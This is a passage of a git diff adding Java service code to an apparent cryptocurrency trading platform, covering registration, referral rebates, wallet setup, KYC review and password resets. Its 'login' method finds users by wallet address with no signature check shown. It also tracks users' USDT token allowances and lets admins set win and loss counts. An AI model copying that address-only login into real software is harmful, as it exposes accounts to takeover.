com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 用户详细信息Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +public class TAppUserDetailServiceImpl extends ServiceImpl implements ITAppUserDetailService +{ + @Resource + private TAppUserDetailMapper tAppUserDetailMapper; + + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + @Override + public TAppUserDetail selectTAppUserDetailById(Long id) + { + return tAppUserDetailMapper.selectTAppUserDetailById(id); + } + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息 + */ + @Override + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail) + { + return tAppUserDetailMapper.selectTAppUserDetailList(tAppUserDetail); + } + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + @Override + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail) + { + tAppUserDetail.setCreateTime(DateUtils.getNowDate()); + return tAppUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + } + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + @Override + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail) + { + tAppUserDetail.setUpdateTime(DateUtils.getNowDate()); + return tAppUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + } + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的用户详细信息主键 + * @return 结果 + */ + @Override + public int deleteTAppUserDetailByIds(Long[] ids) + { + return tAppUserDetailMapper.deleteTAppUserDetailByIds(ids); + } + + /** + * 删除用户详细信息信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + @Override + public int deleteTAppUserDetailById(Long id) + { + return tAppUserDetailMapper.deleteTAppUserDetailById(id); + } + + @Override + public List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail) { + return tAppUserDetailMapper.selectTAppUserDetailLists(tAppUserDetail); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java new file mode 100644 index 0000000..e61b569 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java @@ -0,0 +1,822 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.core.util.StrUtil; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.stream.Collectors; + + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.FinancialRebateSetting; +import com.ruoyi.bussiness.domain.setting.LoginRegisSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.system.service.ISysUserService; +import com.ruoyi.util.EmailUtils; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + + +/** + * 玩家用户Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +@Slf4j +public class TAppUserServiceImpl extends ServiceImpl implements ITAppUserService { + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private SettingService settingService; + @Resource + private TAppAssetMapper tAppAssetMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserDetailMapper appUserDetailMapper; + @Resource + private TUserSymbolAddressMapper tUserSymbolAddressMapper; + @Resource + private TAppAddressInfoMapper tAppAddressInfoMapper; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITAppAssetService appAssetService; + @Resource + private ISysUserService sysUserService; + @Resource + private ITAppAddressInfoService appAddressInfoService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Value("${api-redis-stream.names}") + private String redisStreamNamesApi; + @Resource + private ITCurrencySymbolService currencySymbolService; + @Resource + private IKlineSymbolService klineSymbolService; + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + @Override + public TAppUser selectTAppUserByUserId(Long userId) { + return tAppUserMapper.selectTAppUserByUserId(userId); + } + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户 + */ + @Override + public List selectTAppUserList(TAppUser tAppUser) { + return tAppUserMapper.selectTAppUserList(tAppUser); + } + + /** + * 新增玩家用户 + * + * @param newUser 玩家用户 + * @return 结果 + */ + @Override + @Transactional + public int insertTAppUser(TAppUser newUser, TAppUser user) { + //组装数据 + newUser.setIsFreeze("1"); + newUser.setLoginName(user.getLoginName()); + newUser.setLoginPassword(user.getLoginPassword()); + newUser.setAddress(user.getAddress()); + //判断邀请码是否有效 是否存在上级用户 + String activeCode = user.getActiveCode(); + TAppUser fUser = null; + if (!StrUtil.isEmpty(activeCode)) { + fUser = selectByActiveCode(activeCode); + } + if (null != fUser) { + //存前端关系 + String appParentIds = fUser.getAppParentIds(); + String userId = fUser.getUserId() + ""; + if (StringUtils.isNotBlank(appParentIds)) { + String[] split = appParentIds.split(","); + if (split.length >= 3) { + for (int i = 0; i < split.length - 1; i++) { + userId += "," + split[i]; + } + newUser.setAppParentIds(userId); + } else { + newUser.setAppParentIds(userId + "," + appParentIds); + } + } else { + //存前端关系 + newUser.setAppParentIds(fUser.getUserId() + ""); + } + //存代理关系 + newUser.setAdminParentIds(fUser.getAdminParentIds()); + } + newUser.setWalletType(StringUtils.isEmpty(user.getWalletType()) ? WalletType.ETH.name() : user.getWalletType()); + newUser.setHost(user.getHost()); + newUser.setStatus(0); + //生成邀请码 效验邀请码是否唯一 + List maps = tAppUserMapper.selectActiveCodeList(); + if (maps != null && maps.size() > 0) { + while (true) { + String activeCode1 = OrderUtils.randomNumber(6); + if (!maps.contains(activeCode1)) { + newUser.setActiveCode(activeCode1); + break; + } + } + } else { + newUser.setActiveCode(OrderUtils.randomNumber(6)); + } + newUser.setIsTest(0); + newUser.setTotleAmont(BigDecimal.ZERO); + newUser.setRechargeAmont(BigDecimal.ZERO); + newUser.setLevel(0); + newUser.setBuff(0); + newUser.setCreateTime(DateUtils.getNowDate()); + newUser.setUpdateTime(DateUtils.getNowDate()); + + + int i = tAppUserMapper.insertTAppUser(newUser); + //添加玩家详情表 + TAppUserDetail tAppUserDetail = new TAppUserDetail(); + tAppUserDetail.setUserId(newUser.getUserId()); + //信用设置 + Integer credits = 100; + Setting setting1 = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + if (Objects.nonNull(setting1)) { + LoginRegisSetting loginRegisSetting = JSONUtil.toBean(setting1.getSettingValue(),LoginRegisSetting.class); + credits=loginRegisSetting.getCredits(); + } + tAppUserDetail.setCredits(credits); + appUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + //初始化玩家用户钱包-平台资产 + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)) { + Map> map = currencyList.stream().collect(Collectors.groupingBy(AssetCoinSetting::getCoin)); + map.forEach((key, value) -> { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(newUser.getUserId()); + tAppAsset.setAdress(newUser.getAddress()); + tAppAsset.setSymbol(map.get(key).get(0).getCoin()); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + }); + } + //初始化玩家用户钱包-理财资产 + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(newUser.getUserId()); + tAppAsset.setAdress(newUser.getAddress()); + tAppAsset.setSymbol("usdt"); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.FINANCIAL_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + //初始化玩家用户钱包-合约账户 + tAppAsset.setType(AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + + //如果客户通过地址登录。曾更新授权表。 + if (null != newUser.getAddress() && !"".equals(newUser.getAddress())) { + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setAddress(newUser.getAddress()); + tAppAddressInfo.setAllowedNotice(0L); + tAppAddressInfo.setWalletType(newUser.getWalletType()); + tAppAddressInfo.setUserId(newUser.getUserId()); + tAppAddressInfo.setUsdt(new BigDecimal(0)); + tAppAddressInfo.setEth(new BigDecimal(0)); + tAppAddressInfo.setTrx(new BigDecimal(0)); + tAppAddressInfo.setBtc(new BigDecimal(0)); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(0)); + tAppAddressInfo.setUsdtMonitor(new BigDecimal(0)); + tAppAddressInfoMapper.insertTAppAddressInfo(tAppAddressInfo); + } + return i; + } + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + @Override + public int updateTAppUser(TAppUser tAppUser) { + tAppUser.setUpdateTime(DateUtils.getNowDate()); + int i = tAppUserMapper.updateTAppUser(tAppUser); + if (i>0){ + HashMap object = new HashMap<>(); + object.put("user_status",tAppUser.getUserId()+""); + redisUtil.addStream(redisStreamNamesApi,object); + } + + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectTAppUserDetailByUserId(tAppUser.getUserId()); + tAppUserDetail.setWinNum(tAppUser.getWinNum()==null?0:tAppUser.getWinNum()); + tAppUserDetail.setLoseNum(tAppUser.getLoseNum()==null?0:tAppUser.getLoseNum()); + tAppUserDetail.setCredits(tAppUser.getCredits()==null?0:tAppUser.getCredits()); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + + return i; + } + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的玩家用户主键 + * @return 结果 + */ + @Override + public int deleteTAppUserByUserIds(Long[] userIds) { + return tAppUserMapper.deleteTAppUserByUserIds(userIds); + } + + /** + * 删除玩家用户信息 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + @Override + public int deleteTAppUserByUserId(Long userId) { + return tAppUserMapper.deleteTAppUserByUserId(userId); + } + + @Override + public TAppUserDetail selectUserDetailByUserId(Long userId) { + return appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + } + + @Override + public int checkEmailUnique(String email) { + if (StringUtils.isNoneBlank(email)) { + return tAppUserMapper.selectCount(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + } else { + return 0; + } + } + + @Override + public boolean checkPhoneExist(String phone) { + int count = tAppUserMapper.selectCount(new LambdaQueryWrapper().eq(TAppUser::getPhone,phone)); + return count != 0; + } + + @Override + public TAppUser selectByUserLoginName(String loginName) { + return tAppUserMapper.selectByUserLoginName(loginName); + } + + @Override + public TAppUser selectByAddress(String address) { + return tAppUserMapper.selectByAddress(address); + } + + @Override + public TAppUser login(TAppUser tAppUser) { + if (LoginOrRegisterEnum.ADDRESS.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectByAddress(tAppUser.getAddress()); + } + if (LoginOrRegisterEnum.EMAIL.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, tAppUser.getEmail())); + } + if (LoginOrRegisterEnum.PHONE.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getPhone, tAppUser.getPhone())); + } + if (LoginOrRegisterEnum.LOGIN.getCode().equals(tAppUser.getSignType())) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getLoginName, tAppUser.getLoginName())); + } + return null; + } + + @Override + public TAppUser selectByActiveCode(String activeCode) { + return tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getActiveCode, activeCode)); + } + + @Override + public List selectActiveCodeList() { + return tAppUserMapper.selectActiveCodeList(); + } + + @Override + public String backPwd(String email, String emailCode, String newPwd) { + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser tAppUser = tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.FIND_PASSWORD.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + if (StringUtils.isEmpty(tAppUser.getLoginName())) { + tAppUser.setLoginName(email); + } + redisCache.deleteObject(emailLoginkey); + tAppUser.setLoginPassword(newPwd); + tAppUserMapper.updateTAppUser(tAppUser); + return null; + } + + @Override + public List selectUnboundAppUser(TAppUser tAppUser) { + return tAppUserMapper.selectUnboundAppUser(tAppUser); + } + + @Override + public void sendEmailCode(String type, String email) { + EmailUtils.formMail(email, type); + } + + @Override + public String bindPhone(String phone, String code) { + Long userId = StpUtil.getLoginIdAsLong(); + + String serverCodeKey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix() + UserCodeTypeEnum.BIND.name(), phone); + String serverCode = redisCache.getCacheObject(serverCodeKey); + if(serverCode == null || !serverCode.equalsIgnoreCase(code)){ + return MessageUtils.message("login.code_error"); + } + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + if(tAppUser.getPhone() != null){ + return MessageUtils.message("user.register.phone.bind"); + } + // + if(checkPhoneExist(phone)){ + return MessageUtils.message("user.register.phone.exist"); + } + + redisCache.deleteObject(serverCodeKey); + tAppUser.setPhone(phone); + updateTAppUser(tAppUser); + return null; + } + @Override + public String bindWalletAddress(String address) { + Long userId = StpUtil.getLoginIdAsLong(); + + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + + tAppUser.setAddress(address); + updateTAppUser(tAppUser); + return null; + } + @Override + public String bindEmail(String email, String emailCode, HttpServletRequest request) { + Long userId = StpUtil.getLoginIdAsLong(); + final String registerEmailCode = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.BIND.name(), email); + TAppUser tAppUser = this.selectTAppUserByUserId(userId); + //未绑定 + if (this.checkEmailUnique(email) > 0) { + return MessageUtils.message("user.register.email.exisit"); + } + if (Boolean.TRUE.equals(redisCache.hasKey(registerEmailCode))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(registerEmailCode).toString())) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(registerEmailCode); + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return MessageUtils.message("user.register.email.format"); + } + tAppUser.setEmail(email); + this.updateTAppUser(tAppUser); + return null; + } + + @Override + public void uploadKYC(TAppUser appUser, String realName, String flag, String idCard, String frontUrl, String backUrl, String handelUrl, String country, String cardType) { + Long userId = appUser.getUserId(); + TAppUser byId = this.getById(userId); + TAppUserDetail appUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + //创建用户详情 + appUserDetail.setUserId(userId); + appUserDetail.setRealName(StringUtils.isEmpty(realName)?byId.getLoginName():realName); + appUserDetail.setIdCard(idCard); + appUserDetail.setFrontUrl(frontUrl); + appUserDetail.setBackUrl(backUrl); + appUserDetail.setHandelUrl(handelUrl); + appUserDetail.setCountry(country); + appUserDetail.setCardType(cardType); + if ("1".equals(flag)) { + appUserDetail.setAuditStatusPrimary(AuditStatusEnum.NOT_REVIEWED.getCode()); + appUserDetail.setOperateTime(new Date()); + } + if ("2".equals(flag)) { + appUserDetail.setAuditStatusAdvanced(AuditStatusEnum.NOT_REVIEWED.getCode()); + appUserDetail.setOperateTime(new Date()); + } + appUserDetailMapper.updateTAppUserDetail(appUserDetail); + HashMap object = new HashMap<>(); + object.put(CacheConstants.VERIFIED_KEY, CacheConstants.VERIFIED_KEY); + redisUtil.addStream(redisStreamNames, object); + } + + @Override + public Map getInfo(long loginIdAsLong) { + Map map = new HashMap<>(); + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, loginIdAsLong)); + TAppUser byId = this.getById(loginIdAsLong); + List tAppAssets = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId, loginIdAsLong)); + //转usdt + if (!CollectionUtils.isEmpty(tAppAssets)) { + tAppAssets.stream().forEach(asset -> { + KlineSymbol klineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, asset.getSymbol().toUpperCase()).and(k->k.eq(KlineSymbol::getMarket, "binance").or().eq(KlineSymbol::getMarket, "echo"))); + if (Objects.nonNull(klineSymbol)) { + asset.setLoge(klineSymbol.getLogo()); + + } + BigDecimal availableAmount = asset.getAvailableAmount(); + if (!"usdt".equals(asset.getSymbol())) { + BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + asset.getSymbol()); + if (StringUtils.isNull(currencyPrice)) { + currencyPrice = BigDecimal.ONE; + } + asset.setExchageAmount(availableAmount.multiply(currencyPrice)); + } else { + asset.setExchageAmount(asset.getAvailableAmount()); + } + }); + } + Long flag = redisCache.getCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix() + byId.getUserId()); + if (null != flag) { + map.put("addressFlag", true); + } else { + map.put("addressFlag", false); + } + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(loginIdAsLong); + if (appAddressInfo != null) { + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) > 0) { + map.put("approve", 1); + } else { + map.put("approve", 0); + } + } + map.put("appAddressInfo", appAddressInfo); + map.put("user", byId); + map.put("detail", tAppUserDetail); + map.put("asset", tAppAssets); + map.put("symbolAddresses", getUserAddress(loginIdAsLong)); + return map; + } + + @Override + public int delUpdateByAdminUserId(Long adminUserId) { + return tAppUserMapper.delUpdateByAdminUserId(adminUserId); + } + + @Override + public String updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code) { + Long userId = StpUtil.getLoginIdAsLong(); + TAppUser user = this.getById(userId); + TAppUserDetail tAppUserDetail = appUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + + if ("1".equals(signType)) { + if (!SecurityUtils.matchesPassword(oldPwd, tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("user.login.old.password.error"); + } + } + if ("2".equals(signType)) { + //邮箱找回 + if (!emailOrPhone.equals(user.getEmail())) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.FIND_PASSWORD.name(), emailOrPhone); + if (redisCache.hasKey(emailLoginkey)) { + if (!code.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(emailLoginkey); + } + if ("3".equals(signType)) { + //手机号找回 + if (!emailOrPhone.equals(user.getPhone())) { + return MessageUtils.message("login.phone.not_register"); + } + String phoneLoginkey = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix() + UserCodeTypeEnum.LOGIN.name(), emailOrPhone); + if (redisCache.hasKey(phoneLoginkey)) { + if (!code.equalsIgnoreCase(redisCache.getCacheObject(phoneLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + redisCache.deleteObject(phoneLoginkey); + } + newPwd = SecurityUtils.encryptPassword(newPwd); + tAppUserDetail.setUserTardPwd(newPwd); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + return ""; + } + + @Override + public void toBuilderTeamAmount(TMineOrder mineOrder) { + + //查找返佣比例 + Setting setting = settingService.get(SettingEnum.FINANCIAL_REBATE_SETTING.name()); + FinancialRebateSetting financialRebateSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialRebateSetting.class); + if (Boolean.TRUE.equals(financialRebateSetting.getIsOpen())) { + //理财返佣 + Long userId = mineOrder.getUserId(); + //查询上级用户ID; + TAppUser user = tAppUserMapper.selectTAppUserByUserId(userId); + String appParentIds = user.getAppParentIds(); + if (StringUtils.isEmpty(appParentIds)) { + return; + } + //直属上级 返佣比例 + BigDecimal oneRatio = financialRebateSetting.getOneRatio(); + BigDecimal twoRatio = financialRebateSetting.getTwoRatio(); + BigDecimal threeRatio = financialRebateSetting.getThreeRatio(); + BigDecimal amount = mineOrder.getAmount(); + Map map = new HashMap<>(); + if (appParentIds.contains(",")) { + String[] split = appParentIds.split(","); + int count = 0; + for (String s : split) { + Long parentUerId = Long.valueOf(s); + if (0 == count) { + map.put(parentUerId, oneRatio); + } + if (1 == count) { + map.put(parentUerId, twoRatio); + } + if (2 == count) { + map.put(parentUerId, threeRatio); + } + count++; + } + } else { + map.put(Long.valueOf(appParentIds), oneRatio); + } + for (Long id : map.keySet()) { + //计算返佣金额 + BigDecimal returnAmount = amount.multiply(map.get(id)).divide(new BigDecimal("100")).setScale(6, RoundingMode.UP); + //返回至 用户资产 + Map assetMap = appAssetService.getAssetByUserIdList(id); + TAppAsset appAsset = assetMap.get(mineOrder.getCoin() + id); + BigDecimal availableAmount = appAsset.getAvailableAmount(); + appAsset.setAmout(appAsset.getAmout().add(returnAmount)); + appAsset.setAvailableAmount(availableAmount.add(returnAmount)); + appAssetService.updateTAppAsset(appAsset); + //添加账变 + walletRecordService.generateRecord(id, returnAmount, RecordEnum.FINANCIAL_REBATE.getCode(), "System", mineOrder.getOrderNo(), RecordEnum.FINANCIAL_REBATE.getInfo(), availableAmount, availableAmount.add(returnAmount), mineOrder.getCoin(), user.getAdminParentIds()); + } + } + } + + @Override + public String updatePwdByEmail(String email, String emailCode, String newPwd) { + if (StringUtils.isNotBlank(newPwd)) { + newPwd = SecurityUtils.encryptPassword(newPwd); + } + TAppUser tAppUser = tAppUserMapper.selectOne(new LambdaQueryWrapper().eq(TAppUser::getEmail, email)); + if (null == tAppUser) { + return MessageUtils.message("login.email.not_register"); + } + String emailLoginkey = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix() + UserCodeTypeEnum.UPD_PASSWORD.name(), email); + if (Boolean.TRUE.equals(redisCache.hasKey(emailLoginkey))) { + if (!emailCode.equalsIgnoreCase(redisCache.getCacheObject(emailLoginkey))) { + return MessageUtils.message("login.code_error"); + } + } else { + return MessageUtils.message("login.code_error"); + } + if (StringUtils.isEmpty(tAppUser.getLoginName())) { + tAppUser.setLoginName(email); + } + redisCache.deleteObject(emailLoginkey); + tAppUser.setLoginPassword(newPwd); + tAppUserMapper.updateTAppUser(tAppUser); + return null; + } + + @Override + public void realName(TAppUserDetail tAppUserDetail) { + String flag = tAppUserDetail.getFlag(); + if ("1".equals(flag)) { + //初级审核 通过 + tAppUserDetail.setAuditStatusPrimary(AuditStatusEnum.EXAMINATION_PASSED.getCode()); + } + if ("2".equals(flag)) { + //初级审核 不通过 + tAppUserDetail.setAuditStatusPrimary(AuditStatusEnum.AUDIT_NOT_PASSED.getCode()); + } + if ("3".equals(flag)) { + //高级审核 通过 + tAppUserDetail.setAuditStatusAdvanced(AuditStatusEnum.EXAMINATION_PASSED.getCode()); + } + if ("4".equals(flag)) { + //高级审核 不通过 + tAppUserDetail.setAuditStatusAdvanced(AuditStatusEnum.AUDIT_NOT_PASSED.getCode()); + } + tAppUserDetail.setOperateTime(new Date("1999/10/10 00:00:00")); + appUserDetailMapper.updateTAppUserDetail(tAppUserDetail); + } + + @Override + public int addTAppUser(TAppUser tAppUser) { + if (StringUtils.isNotBlank(tAppUser.getAdminParentIds())) { + SysUser sysUser = sysUserService.selectUserById(Long.parseLong(tAppUser.getAdminParentIds())); + if (sysUser != null) { + if (!Objects.isNull(sysUser.getParentId())) { + tAppUser.setAdminParentIds(sysUser.getUserId() + "," + sysUser.getParentId()); + } else { + tAppUser.setAdminParentIds(sysUser.getUserId() + ",0"); + } + } + } + tAppUser.setLoginPassword(SecurityUtils.encryptPassword(tAppUser.getLoginPassword())); + tAppUser.setHost(IpUtils.getIpAddr()); + tAppUser.setLevel(0); + //生成邀请码 效验邀请码是否唯一 + List maps = tAppUserMapper.selectActiveCodeList(); + if (maps != null && maps.size() > 0) { + while (true) { + String activeCode1 = OrderUtils.randomNumber(6); + if (!maps.contains(activeCode1)) { + tAppUser.setActiveCode(activeCode1); + break; + } + } + } else { + tAppUser.setActiveCode(OrderUtils.randomNumber(6)); + } + tAppUser.setTotleAmont(BigDecimal.ZERO); + tAppUser.setRechargeAmont(BigDecimal.ZERO); + tAppUser.setUpdateBy(SecurityUtils.getUsername()); + tAppUser.setCreateBy(SecurityUtils.getUsername()); + tAppUser.setCreateTime(DateUtils.getNowDate()); + tAppUser.setUpdateTime(DateUtils.getNowDate()); + int i = tAppUserMapper.insertTAppUser(tAppUser); + //添加玩家详情表 + TAppUserDetail tAppUserDetail = new TAppUserDetail(); + tAppUserDetail.setUserId(tAppUser.getUserId()); + //信用设置 + Integer credits = 100; + Setting setting1 = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + if (Objects.nonNull(setting1)) { + LoginRegisSetting loginRegisSetting = JSONUtil.toBean(setting1.getSettingValue(),LoginRegisSetting.class); + credits=loginRegisSetting.getCredits(); + } + tAppUserDetail.setCredits(credits); + appUserDetailMapper.insertTAppUserDetail(tAppUserDetail); + + //初始化玩家用户钱包-平台资产 + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)) { + Map> map = currencyList.stream().collect(Collectors.groupingBy(AssetCoinSetting::getCoin)); + map.forEach((key, value) -> { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(tAppUser.getUserId()); + tAppAsset.setAdress(tAppUser.getAddress()); + tAppAsset.setSymbol(map.get(key).get(0).getCoin()); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + }); + } + //初始化玩家用户钱包-理财资产 + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(tAppUser.getUserId()); + tAppAsset.setAdress(tAppUser.getAddress()); + tAppAsset.setSymbol("usdt"); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(AssetEnum.FINANCIAL_ASSETS.getCode()); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + //初始化玩家用户钱包-合约账户 + tAppAsset.setType(AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAssetMapper.insertTAppAsset(tAppAsset); + return i; + } + + @Override + public List getTAppUserList(TAppUser tAppUser) { + return tAppUserMapper.getTAppUserList(tAppUser); + } + + @Override + public int updateUserAppIds(Long appUserId, Long agentUserId) { + + log.info("修改上代理appUserId{},agentUserId{}", appUserId, agentUserId); + SysUser sysUser = sysUserService.selectUserById(agentUserId); + log.info("查出代理用户{}", sysUser); + String adminParentIds = ""; + if (sysUser != null) { + if (!Objects.isNull(sysUser.getParentId())) { + adminParentIds = sysUser.getUserId() + "," + sysUser.getParentId(); + } else { + adminParentIds = sysUser.getUserId() + ",0"; + } + } + log.info("拼接adminIds{}", adminParentIds); + return tAppUserMapper.updateUserAppIds(appUserId, adminParentIds); + } + + @Override + public void reSetRealName(TAppUserDetail tAppUserDetail) { + TAppUserDetail userDetail = this.selectUserDetailByUserId(tAppUserDetail.getUserId()); + Integer reSetFlag = tAppUserDetail.getReSetFlag(); + if(reSetFlag!=null){ + switch (reSetFlag) { + case 1: + //初级重置 + userDetail.setAuditStatusPrimary(null); + break; + case 2: + //高级 + 